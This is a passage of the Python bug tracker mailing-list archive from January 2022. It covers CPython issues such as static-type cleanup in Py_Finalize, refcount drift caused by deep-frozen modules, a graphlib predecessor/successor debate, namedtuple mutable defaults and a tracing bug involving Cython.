f389b37fb1cebe7ed66331cdd373a014695261f6 by Victor Stinner in branch 'main': bpo-46417: _thread uses PyStructSequence_NewType() (GH-30733) https://github.com/python/cpython/commit/f389b37fb1cebe7ed66331cdd373a014695261f6 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 20:52:51 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 01:52:51 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642729971.04.0.730308967133.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 17f268a4ae6190b2659c89c6f32ad2d006e0e3c8 by Victor Stinner in branch 'main': bpo-46417: time module uses PyStructSequence_NewType() (GH-30734) https://github.com/python/cpython/commit/17f268a4ae6190b2659c89c6f32ad2d006e0e3c8 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 20:55:31 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 01:55:31 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642730131.22.0.308077932785.issue46417@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28922 pull_request: https://github.com/python/cpython/pull/30735 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 20:58:23 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 01:58:23 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642730303.1.0.558507551175.issue46417@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28923 pull_request: https://github.com/python/cpython/pull/30736 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 21:23:08 2022 From: report at bugs.python.org (neonene) Date: Fri, 21 Jan 2022 02:23:08 +0000 Subject: [issue46427] Correct MSBuild's configuration for _freeze_module.exe In-Reply-To: <1642539207.01.0.739472592427.issue46427@roundup.psfhosted.org> Message-ID: <1642731788.96.0.630147586919.issue46427@roundup.psfhosted.org> neonene added the comment: > + This is bad if ARM64 machine takes the blank value as not "ARM64" but "ARM", as "ARM" tools are not necessary to install. Then, I agree with the proposal of the OP (PR28491) below: > Would it be acceptable if a new host platform property is added to > the project file and keep x64 or x86 as default (depends on target) > but allow users to configure a different host platform to allow > native arm64 compilation? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 21:30:29 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 02:30:29 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642732229.23.0.706017986392.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 1781d55eb34f94029e50970232635fc5082378cb by Victor Stinner in branch 'main': bpo-46417: _curses uses PyStructSequence_NewType() (GH-30736) https://github.com/python/cpython/commit/1781d55eb34f94029e50970232635fc5082378cb ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 21:31:16 2022 From: report at bugs.python.org (David Mc Dougall) Date: Fri, 21 Jan 2022 02:31:16 +0000 Subject: [issue46071] Graphlib documentation (edge direction) In-Reply-To: <1639495203.77.0.753963192728.issue46071@roundup.psfhosted.org> Message-ID: <1642732276.1.0.587683949106.issue46071@roundup.psfhosted.org> David Mc Dougall added the comment: > The argument passed is the predecessor form of the graph B -> A where graph = {'A' : ['B']} This is part that I'm objecting to. The form of the graph should be A -> B, not B -> A. The issue with the current form is that you can not traverse the graph, at least not forwards. When I say traverse forwards I mean that you follow the edges in the direction of the arrows. If you look up 'A' in the current graph you get all of the nodes that point *to* A, but that doesn't help you get *from* A to anywhere else. There are two conventions: 1) Graphs should be traverse-able, by following the arrows. 2) Topological sorting makes the arrows point to the right. Convention #1 was broken to satisfy convention #2. What is important about the topo-sort is that it makes all of the edges point in the *same* direction. It doesn't actually matter which direction that is. And credit where due, the library picked the more-useful direction. It was a pragmatic choice, driven by the real use case of dependency resolution. But having the graph with arrows pointing in the wrong direction is going to cause endless confusion. For an example of the confusion this causes, look at the API itself. The "add" method explicitly calls out the fact that you can add nodes with no predecessors. This is obviously also possible with the graph argument as it currently is. > It is possible to add a node with no dependencies (predecessors is not provided) https://docs.python.org/3/library/graphlib.html#graphlib.TopologicalSorter.add ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 22:02:06 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 03:02:06 +0000 Subject: [issue46449] Deep-freezed modules create inconsistency in sys.gettotalrefcount() (_Py_Reftotal) Message-ID: <1642734126.76.0.617739526871.issue46449@roundup.psfhosted.org> New submission from STINNER Victor : Using the C program below, I see that _Py_RefTotal is decreasing at each iteration: --- #include int main(int argc, char *argv[]) { for (int i=1; i <= 100; i++) { Py_SetProgramName(L"./_testembed"); Py_Initialize(); Py_Finalize(); printf("Loop #%d: %zd refs\n", i, _Py_RefTotal); } } --- Example of output: --- ... Loop #96: 9557 refs Loop #97: 9544 refs Loop #98: 9531 refs Loop #99: 9518 refs Loop #100: 9505 refs --- It seems to be a regression caused by this change: commit 1cbaa505d007e11c4a1f0d2073d72b6c02c7147c Author: Guido van Rossum Date: Wed Nov 10 18:01:53 2021 -0800 bpo-45696: Deep-freeze selected modules (GH-29118) This gains 10% or more in startup time for `python -c pass` on UNIX-ish systems. The Makefile.pre.in generating code builds on Eric's work for bpo-45020, but the .c file generator is new. Windows version TBD. Before the change, _Py_RefTotal was stable: --- ... Loop #97: 10805 refs Loop #98: 10805 refs Loop #99: 10805 refs Loop #100: 10805 refs --- I found this issue while working on bpo-46417 which is related to bpo-1635741. ---------- components: Interpreter Core messages: 411075 nosy: vstinner priority: normal severity: normal status: open title: Deep-freezed modules create inconsistency in sys.gettotalrefcount() (_Py_Reftotal) versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 22:02:21 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 03:02:21 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642734141.02.0.888745127655.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: See also bpo-46449 "Deep-freezed modules create inconsistency in sys.gettotalrefcount() (_Py_Reftotal)". ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 22:02:48 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 03:02:48 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642734168.51.0.19311066546.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: New changeset d013b241352e902389f955f8f99d75f16c124ee2 by Victor Stinner in branch 'main': bpo-46417: signal uses PyStructSequence_NewType() (GH-30735) https://github.com/python/cpython/commit/d013b241352e902389f955f8f99d75f16c124ee2 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 22:05:32 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 03:05:32 +0000 Subject: [issue46449] Deep-freezed modules create inconsistency in sys.gettotalrefcount() (_Py_Reftotal) In-Reply-To: <1642734126.76.0.617739526871.issue46449@roundup.psfhosted.org> Message-ID: <1642734332.16.0.725484849504.issue46449@roundup.psfhosted.org> Change by STINNER Victor : ---------- nosy: +eric.snow, gvanrossum _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 23:04:20 2022 From: report at bugs.python.org (Tim Peters) Date: Fri, 21 Jan 2022 04:04:20 +0000 Subject: [issue46071] Graphlib documentation (edge direction) In-Reply-To: <1639495203.77.0.753963192728.issue46071@roundup.psfhosted.org> Message-ID: <1642737860.17.0.538335064997.issue46071@roundup.psfhosted.org> Tim Peters added the comment: I think you should give up on this. But suit yourself ;-) Exactly the same information is conveyed whether representing a graph by successor or predecessor dicts. Some operations are more convenient in one representation than the other, but each is easily derived from the other. For your > The issue with the current form is that you can not traverse > the graph, at least not forwards. is the equal and opposite complaint that with "your" (successor) form, you cannot traverse the graph, at least not backwards. What of it? _Some_ packages maintain both predecessor and successor dicts in lockstep. For example, Kosaraju's elegant algorithm for finding strongly connected components requires efficient traversal in both directions. The topsort algorithm couldn't care less how you want to represent your graphs. But it does have a specific representation it requires if you want to use the optional `graph=` constructor argument. It's documented and works fine if used as documented. > What is important about the topo-sort is that it makes all of the > edges point in the *same* direction. Not following that. topsort applies to directed graphs, where the meanings of "predecessor" and "successor" are universally agreed upon. By definition, a topsort must begin with an element having no predecessors. The directions of the arrows are crucial to that. > It doesn't actually matter which direction that is. And credit where due, the > library picked the more-useful direction. It was a pragmatic choice, driven > by the real use case of dependency resolution. Not really. It was driven by the definition of what "topological sort" means. Most of the API was actually driven by making it easy to use correctly (race-free, deadlock-free) in a dynamic (there's no way to guess from one run to the next which order will end up being used) multiprocessing context, something few topsort packages even attempt to address. > But having the graph with arrows pointing in the wrong direction is > going to cause endless confusion. Starting when? ;-) Seriously, this is the first complaint I've seen, and you're not actually confused. > For an example of the confusion this causes, look at the API itself. The "add" > method explicitly calls out the fact that you can add nodes with no predecessors. And what about that is confusing? If every node has to have a predecessor, a topsort can't even exist! More generally, any usable implementation of "directed graph" has to allow for isolated nodes too. Historically, the docs pointed that out to contrast it with other APIs under consideration that required special tricks to convince the function that a graph had isolated nodes. In this API, it's dead easy: just add the node with no predecessors. > This is obviously also possible with the graph argument as it currently is. Of course. Are you going to seriously contend this is "a problem", but the obvious workalike for successor dicts would not be "a problem"? (In a successor dict, it's equally easy to specify a node with no successors. Good! For a total ordering to exist, there must be at least one node with no predecessor and at least one with no successor - these aren't "problems", they're essentials.) In any case, the docs say what was intended and implemented from the start: the optional `graph` argument is a predecessor dict representation. You're not required to like that decision, but there's no case here - to my eyes - made for saying "it's a bug". ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 23:19:36 2022 From: report at bugs.python.org (Curtis M) Date: Fri, 21 Jan 2022 04:19:36 +0000 Subject: [issue46450] namedtuple leaks data between instances when field's default value is empty list Message-ID: <1642738776.82.0.0885614963013.issue46450@roundup.psfhosted.org> New submission from Curtis M <3ed7qja59y at liamekaens.com>: Example code to replicate issue on python 3.10.2 is attached. How to replicate issue: 1. Define a namedtuple where all fields have default values. At least one field's default value will be an empty list: [] 2. Instantiate 2 instances of the namedtuple. 3. In the first instance, use namedtuple._replace() to add a replacement list into a field that defaults to []. 4. Now look at the contents of both namedtuples. *Both* of them are modified, even though the code only modified the first object. *** Output from attached example code: g.P5 1: myNamedTuple(P1='hello', P2='world', P3=None, P4='', P5=[], P6=[]) h.P5 1: myNamedTuple(P1='good', P2='morning', P3=None, P4='', P5=[], P6=[]) Expected: g.P5: [] Actual: g.P5: [] Expected: h.P5: [] Actual: h.P5: [] g.P5 2: myNamedTuple(P1='hello', P2='world', P3=None, P4='', P5=['a', 'b'], P6=[]) h.P5 2: myNamedTuple(P1='good', P2='morning', P3=None, P4='', P5=['a', 'b'], P6=[]) Expected: g.P5: ['a', 'b'] Actual: g.P5: ['a', 'b'] Expected: h.P5: [] Actual: h.P5: ['a', 'b'] g.P5 3: myNamedTuple(P1='hello', P2='world', P3=None, P4='', P5=['a', 'b', 'c', 'd'], P6=[]) h.P5 3: myNamedTuple(P1='good', P2='morning', P3=None, P4='', P5=['a', 'b', 'c', 'd'], P6=[]) Expected: g.P5: ['a', 'b', 'c', 'd'] Actual: g.P5: ['a', 'b', 'c', 'd'] Expected: h.P5: [] Actual: h.P5: ['a', 'b', 'c', 'd'] ---------- components: Library (Lib) files: namedtuple_example.py messages: 411079 nosy: user027.7 priority: normal severity: normal status: open title: namedtuple leaks data between instances when field's default value is empty list type: behavior versions: Python 3.10 Added file: https://bugs.python.org/file50568/namedtuple_example.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 23:46:58 2022 From: report at bugs.python.org (Dennis Sweeney) Date: Fri, 21 Jan 2022 04:46:58 +0000 Subject: [issue46450] namedtuple leaks data between instances when field's default value is empty list In-Reply-To: <1642738776.82.0.0885614963013.issue46450@roundup.psfhosted.org> Message-ID: <1642740418.45.0.55508434638.issue46450@roundup.psfhosted.org> Dennis Sweeney added the comment: This seems to be the standard confusion people have with mutable defaults, just with namedtuple defaults rather than function defaults. Similar behavior elsewhere in Python: >>> def f(x, y=[]): ... y.append(x) ... print(y) ... ... >>> f(1) [1] >>> f(2) [1, 2] >>> f(15) [1, 2, 15] Or even >>> a = [] >>> b = a >>> b.append(4) >>> a [4] This happens because the values you provide as defaults are *objects*, not *expressions* to be re-evaluated. If you make one of the defaults a list, you ask the namedtuple to "give me this particular list every time", and it will give you that same list, even if it has been modified. There is currently no support for "construct a brand new list every time" in namedtuples. You could look to the dataclasses module for such a feature, where you can specify default_factory=list, and it will make a new list for each instance. https://docs.python.org/3/library/dataclasses.html#dataclasses.field ---------- nosy: +Dennis Sweeney _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 23:53:15 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Fri, 21 Jan 2022 04:53:15 +0000 Subject: [issue46415] ipaddress.ip_{address, network, interface} raises TypeError instead of ValueError if given a tuple as address In-Reply-To: <1642432880.71.0.920600004529.issue46415@roundup.psfhosted.org> Message-ID: <1642740795.14.0.467588335443.issue46415@roundup.psfhosted.org> Jelle Zijlstra added the comment: Duplicate of issue46141. ---------- nosy: +Jelle Zijlstra resolution: -> duplicate stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 23:54:22 2022 From: report at bugs.python.org (Sebastian Berg) Date: Fri, 21 Jan 2022 04:54:22 +0000 Subject: [issue46451] Possibly bad interaction with tracing and cython? Message-ID: <1642740862.08.0.497751420234.issue46451@roundup.psfhosted.org> New submission from Sebastian Berg : Starting here, but there could be Cython interaction or something else in theory. But, when running the following: * Python 3.10.1 (not 3.9.9, debug version or not) * Setting a tracing function (not setting a trace-function will fix the issue) * Running Cython (maybe also C code) calling back into Python (the best I can tell) It can happen that module globals in the called funtions scope seem to be modified. Oddly enough to a value used in the locals of that function?! The pandas issue: https://github.com/pandas-dev/pandas/issues/41935 has a reproducer (sorry that it takes NumPy and pandas for now). I will paste it at the end here also. I can find that the value is modified by the time the `trace` function is called. No other "trace" triggers are processed before in this example (Cython calls other functions in NumPy, but all of those are C implemented, so I guess that is why). The function in question (unlike all?) should further be called with `__Pyx_PyFunction_FastCall`, so that is probably an important data point: Fastcall protocol seems involved. (Reproducible using NumPy 1.21.5 and Pandas 1.3.5, but except maybe pandas due to the Cython version, I don't expect version dependency.) The output of the script is very brief: Something happened here, `np.core.numeric.dtype IS np.dtype` call None The full reproducer script is: import sys import numpy as np import pandas as pd from numpy.core import numeric stop = False def trace(frame, event, arg): global stop if stop: return None if np.core.numeric.dtype is not np.dtype: print("Something happened here, `np.core.numeric.dtype IS np.dtype`") print(frame, event, arg) stop = True else: print(frame, event, arg) return trace sys.settrace(trace) pd._libs.lib.maybe_convert_objects(np.array([None], dtype=object)) For completeness, the Cython code calling the NumPy function in question, is (likley, there is more, this is Cython, I just cut it out a bit :)): #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[3] = {__pyx_t_2, __pyx_t_6, Py_False}; __pyx_t_15 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 2441, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_15); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif ---------- components: Interpreter Core messages: 411082 nosy: seberg priority: normal severity: normal status: open title: Possibly bad interaction with tracing and cython? type: crash versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 00:01:26 2022 From: report at bugs.python.org (Guido van Rossum) Date: Fri, 21 Jan 2022 05:01:26 +0000 Subject: [issue46449] Deep-freezed modules create inconsistency in sys.gettotalrefcount() (_Py_Reftotal) In-Reply-To: <1642734126.76.0.617739526871.issue46449@roundup.psfhosted.org> Message-ID: <1642741286.05.0.466599672026.issue46449@roundup.psfhosted.org> Guido van Rossum added the comment: Hm, the deep-frozen objects are statically initialized with a very large refcount that isn't accounted for (they are intended to be immortal). It seems that Py_Finalize() somehow decrefs those objects. I guess this means we need some kind of flag indicating certain objects are immortal (Eric has proposed several schemes), then we could just mark these objects as immortal. This reminds me, since https://github.com/python/cpython/pull/30715 (which I merged yesterday) the deep-frozen objects also reference the small ints directly, as well as the singleton for b"". Is this even safe across Py_Finalize()/Py_Initialize()? If not, we'll need to roll that back as well. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 00:05:15 2022 From: report at bugs.python.org (Sebastian Berg) Date: Fri, 21 Jan 2022 05:05:15 +0000 Subject: [issue46451] Possibly bad interaction with tracing and cython? In-Reply-To: <1642740862.08.0.497751420234.issue46451@roundup.psfhosted.org> Message-ID: <1642741515.93.0.0483052867584.issue46451@roundup.psfhosted.org> Sebastian Berg added the comment: Ahh, a further data-point. The name from the module scope that is overwritten IS a parameter name used in the function locals. Strangly, if I modify the tracing to print more: stop = 0 def trace(frame, event, arg): global stop if stop > 10: return None if np.core.numeric.dtype is not np.dtype: #print("Something happened here, `np.core.numeric.dtype IS np.dtype`") print(np.core.numeric.dtype) print(frame, event, arg) stop += 1 else: print(frame, event, arg) return trace Then what I get is: None call None None line None None line None None line None None line None bool So, upon entering the function, the value is (already) cleared/set to None (which is correct of course for `dtype=None`) and then while the function runs storing into the function locals _mutates_ the module global? For the fact that it keeps changing during the function run, points very strongly at CPython? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 00:30:24 2022 From: report at bugs.python.org (David Mc Dougall) Date: Fri, 21 Jan 2022 05:30:24 +0000 Subject: [issue46071] Graphlib documentation (edge direction) In-Reply-To: <1639495203.77.0.753963192728.issue46071@roundup.psfhosted.org> Message-ID: <1642743024.37.0.974783902478.issue46071@roundup.psfhosted.org> David Mc Dougall added the comment: > you're not actually confused. I was when I first read it! > the meanings of "predecessor" and "successor" are universally agreed upon I disagree. The universally agreed upon terms are "directed edge u -> v". It's not obvious if the "predecessor" should be the start or the end point of the edge, and this is why the docs explicitly state the edge direction: > If the optional graph argument is provided it must be a dictionary representing a directed acyclic graph where the keys are nodes and the values are iterables of all [...] the nodes that have edges that point to the value in the key. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 00:35:01 2022 From: report at bugs.python.org (Dennis Sweeney) Date: Fri, 21 Jan 2022 05:35:01 +0000 Subject: [issue46071] Graphlib documentation (edge direction) In-Reply-To: <1639495203.77.0.753963192728.issue46071@roundup.psfhosted.org> Message-ID: <1642743301.51.0.215544385754.issue46071@roundup.psfhosted.org> Dennis Sweeney added the comment: > It's not obvious if the "predecessor" should be the start or the end point of the edge https://en.wikipedia.org/wiki/Directed_graph#Basic_terminology : """If a path leads from x to y, then y is said to be a successor of x and reachable from x, and x is said to be a predecessor of y.""" ---------- nosy: +Dennis Sweeney _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 00:46:25 2022 From: report at bugs.python.org (Tim Peters) Date: Fri, 21 Jan 2022 05:46:25 +0000 Subject: [issue46071] Graphlib documentation (edge direction) In-Reply-To: <1639495203.77.0.753963192728.issue46071@roundup.psfhosted.org> Message-ID: <1642743985.93.0.122925102988.issue46071@roundup.psfhosted.org> Tim Peters added the comment: >> the meanings of "predecessor" and "successor" are >> universally agreed upon > I disagree. I can post literally hundreds of citations that all agree: in u -> v, u is a direct predecessor of v, and v is a direct successor of u. Here's one: http://pages.cs.wisc.edu/~vernon/cs367/notes/13.GRAPH.html Here's another from a Python context: https://networkx.org/documentation/stable/reference/classes/generated/networkx.DiGraph.predecessors.html """ A predecessor of n is a node m such that there exists a directed edge from m to n. """ On & on & on. Hence my "universal". Can you link to any that disagree? As to the meaning of "point to", in "u -> v" it's obvious that the arrow points _from_ u _to_ v. I very strongly doubt you can find a credible source disputing that either. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 01:40:29 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Fri, 21 Jan 2022 06:40:29 +0000 Subject: [issue46448] TypedDict inspect.signature error In-Reply-To: <1642720843.6.0.598679137786.issue46448@roundup.psfhosted.org> Message-ID: <1642747229.64.0.542371536484.issue46448@roundup.psfhosted.org> Change by Jelle Zijlstra : ---------- nosy: +Jelle Zijlstra _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 01:54:51 2022 From: report at bugs.python.org (=?utf-8?b?R8Opcnk=?=) Date: Fri, 21 Jan 2022 06:54:51 +0000 Subject: [issue46436] Pass the -d/--directory command-line option to http.server.CGIHTTPRequestHandler In-Reply-To: <1642613980.51.0.0570385311323.issue46436@roundup.psfhosted.org> Message-ID: <1642748091.58.0.470692069767.issue46436@roundup.psfhosted.org> Change by G?ry : ---------- versions: +Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 02:03:38 2022 From: report at bugs.python.org (Georg Brandl) Date: Fri, 21 Jan 2022 07:03:38 +0000 Subject: [issue19479] textwrap.dedent doesn't work properly with strings containing CRLF In-Reply-To: <1383403818.41.0.713007913793.issue19479@psf.upfronthosting.co.za> Message-ID: <1642748618.37.0.358709889574.issue19479@roundup.psfhosted.org> Change by Georg Brandl : ---------- nosy: -georg.brandl _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 02:36:37 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 21 Jan 2022 07:36:37 +0000 Subject: [issue46425] Multiple test modules fail to run if invoked directly In-Reply-To: <1642531299.32.0.982136294223.issue46425@roundup.psfhosted.org> Message-ID: <1642750597.03.0.817706638736.issue46425@roundup.psfhosted.org> Serhiy Storchaka added the comment: New changeset 22f73bd9f1fc573d5c998f345b66c29f7ca6614d by Nikita Sobolev in branch 'main': bpo-46425: Fix direct invocation of `test_contextlib` (GH-30681) https://github.com/python/cpython/commit/22f73bd9f1fc573d5c998f345b66c29f7ca6614d ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 02:40:44 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 21 Jan 2022 07:40:44 +0000 Subject: [issue21987] TarFile.getmember on directory requires trailing slash iff over 100 chars In-Reply-To: <1405482059.28.0.321220843423.issue21987@psf.upfronthosting.co.za> Message-ID: <1642750844.26.0.734289447898.issue21987@roundup.psfhosted.org> Serhiy Storchaka added the comment: New changeset cfadcc31ea84617b1c73022ce54d4ae831333e8d by andrei kulakov in branch 'main': bpo-21987: Fix TarFile.getmember getting a dir with a trailing slash (GH-30283) https://github.com/python/cpython/commit/cfadcc31ea84617b1c73022ce54d4ae831333e8d ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 02:40:46 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 21 Jan 2022 07:40:46 +0000 Subject: [issue21987] TarFile.getmember on directory requires trailing slash iff over 100 chars In-Reply-To: <1405482059.28.0.321220843423.issue21987@psf.upfronthosting.co.za> Message-ID: <1642750846.74.0.623688037339.issue21987@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28925 pull_request: https://github.com/python/cpython/pull/30738 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 02:40:41 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 21 Jan 2022 07:40:41 +0000 Subject: [issue21987] TarFile.getmember on directory requires trailing slash iff over 100 chars In-Reply-To: <1405482059.28.0.321220843423.issue21987@psf.upfronthosting.co.za> Message-ID: <1642750841.14.0.4369621715.issue21987@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 9.0 -> 10.0 pull_requests: +28924 pull_request: https://github.com/python/cpython/pull/30737 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 02:44:20 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 21 Jan 2022 07:44:20 +0000 Subject: [issue30512] CAN Socket support for NetBSD In-Reply-To: <1496155843.0.0.360939407267.issue30512@psf.upfronthosting.co.za> Message-ID: <1642751060.91.0.60458385747.issue30512@roundup.psfhosted.org> Serhiy Storchaka added the comment: New changeset 40fcd16889028bd3cd2289e0f8a2af43f17a5824 by Thomas Klausner in branch 'main': bpo-30512: Add CAN Socket support for NetBSD (GH-30066) https://github.com/python/cpython/commit/40fcd16889028bd3cd2289e0f8a2af43f17a5824 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 02:44:59 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 21 Jan 2022 07:44:59 +0000 Subject: [issue30512] CAN Socket support for NetBSD In-Reply-To: <1496155843.0.0.360939407267.issue30512@psf.upfronthosting.co.za> Message-ID: <1642751099.41.0.204369552647.issue30512@roundup.psfhosted.org> Change by Serhiy Storchaka : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: +Python 3.11 -Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 02:54:58 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 21 Jan 2022 07:54:58 +0000 Subject: [issue46426] Improve tests for the dir_fd argument In-Reply-To: <1642535009.06.0.529975852258.issue46426@roundup.psfhosted.org> Message-ID: <1642751698.53.0.296625923393.issue46426@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 1.0 -> 2.0 pull_requests: +28926 pull_request: https://github.com/python/cpython/pull/30739 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 02:55:01 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 21 Jan 2022 07:55:01 +0000 Subject: [issue46426] Improve tests for the dir_fd argument In-Reply-To: <1642535009.06.0.529975852258.issue46426@roundup.psfhosted.org> Message-ID: <1642751701.9.0.0677839608515.issue46426@roundup.psfhosted.org> Serhiy Storchaka added the comment: New changeset 54610bb448a9cf5be77d53b66169fca4c11be6cb by Serhiy Storchaka in branch 'main': bpo-46426: Improve tests for the dir_fd argument (GH-30668) https://github.com/python/cpython/commit/54610bb448a9cf5be77d53b66169fca4c11be6cb ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 03:03:48 2022 From: report at bugs.python.org (jiahua wang) Date: Fri, 21 Jan 2022 08:03:48 +0000 Subject: [issue34875] Change .js mime to "text/javascript" In-Reply-To: <1538519319.52.0.545547206417.issue34875@psf.upfronthosting.co.za> Message-ID: <1642752228.77.0.702530558493.issue34875@roundup.psfhosted.org> Change by jiahua wang : ---------- nosy: +wangjiahua nosy_count: 3.0 -> 4.0 pull_requests: +28927 stage: resolved -> patch review pull_request: https://github.com/python/cpython/pull/30740 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 03:06:05 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 21 Jan 2022 08:06:05 +0000 Subject: [issue21987] TarFile.getmember on directory requires trailing slash iff over 100 chars In-Reply-To: <1405482059.28.0.321220843423.issue21987@psf.upfronthosting.co.za> Message-ID: <1642752365.78.0.899255623752.issue21987@roundup.psfhosted.org> miss-islington added the comment: New changeset 1d11fdd3eeff77ba600278433b7ab0ce4d2a7f3b by Miss Islington (bot) in branch '3.10': bpo-21987: Fix TarFile.getmember getting a dir with a trailing slash (GH-30283) https://github.com/python/cpython/commit/1d11fdd3eeff77ba600278433b7ab0ce4d2a7f3b ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 03:12:36 2022 From: report at bugs.python.org (Dong-hee Na) Date: Fri, 21 Jan 2022 08:12:36 +0000 Subject: [issue45452] Support crash tolerance feature for gdbm module In-Reply-To: <1634089522.9.0.931859161119.issue45452@roundup.psfhosted.org> Message-ID: <1642752756.38.0.0875793211839.issue45452@roundup.psfhosted.org> Dong-hee Na added the comment: After discussion with Victor by using DM, I decided to provide high-level API instead of low-level APIs. - gdbm.open(filename, snapshots=(foo, bar)) will do everything at once. Regards, Dong-hee ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 03:13:06 2022 From: report at bugs.python.org (Dong-hee Na) Date: Fri, 21 Jan 2022 08:13:06 +0000 Subject: [issue45452] Support crash tolerance feature for gdbm module In-Reply-To: <1634089522.9.0.931859161119.issue45452@roundup.psfhosted.org> Message-ID: <1642752786.87.0.446518413343.issue45452@roundup.psfhosted.org> Change by Dong-hee Na : ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 03:13:36 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 08:13:36 +0000 Subject: [issue46449] Deep-freezed modules create inconsistency in sys.gettotalrefcount() (_Py_Reftotal) In-Reply-To: <1642734126.76.0.617739526871.issue46449@roundup.psfhosted.org> Message-ID: 